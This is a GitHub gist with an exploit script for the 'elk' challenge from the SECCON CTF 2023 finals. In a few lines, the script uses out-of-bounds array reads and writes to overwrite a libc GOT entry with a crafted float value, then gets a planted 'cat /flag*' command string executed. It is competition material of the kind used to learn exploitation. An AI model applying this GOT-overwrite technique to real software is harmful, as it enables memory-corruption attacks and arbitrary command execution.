Created
December 24, 2023 11:51
-
-
Save hama7230/7892d0c9e581e9dc3f5080cb227d57fc to your computer and use it in GitHub Desktop.
SECCON CTF 2023 Finals elk
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
let tmp = Array.create(0x10); | |
print("hogeogehohoge; cat /flag* ; cat /flag*; cat /flag*; "); // " | |
// 0xdeadbeef000000a8 | |
let a = -11885953953521044204262283356352921729787255120762006772597472279566207698356848245844122139069258806622701577786132951422544398067457110976011173888.0000000000000--; | |
let offset_libc_got = 0x319f58 / 8 -11 + 0x3000/8; | |
let mod = 6.7946279131188262738573787925444e-318; | |
Array.set(tmp, offset_libc_got, Array.get(tmp,offset_libc_got ) - mod); | |
print(1); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment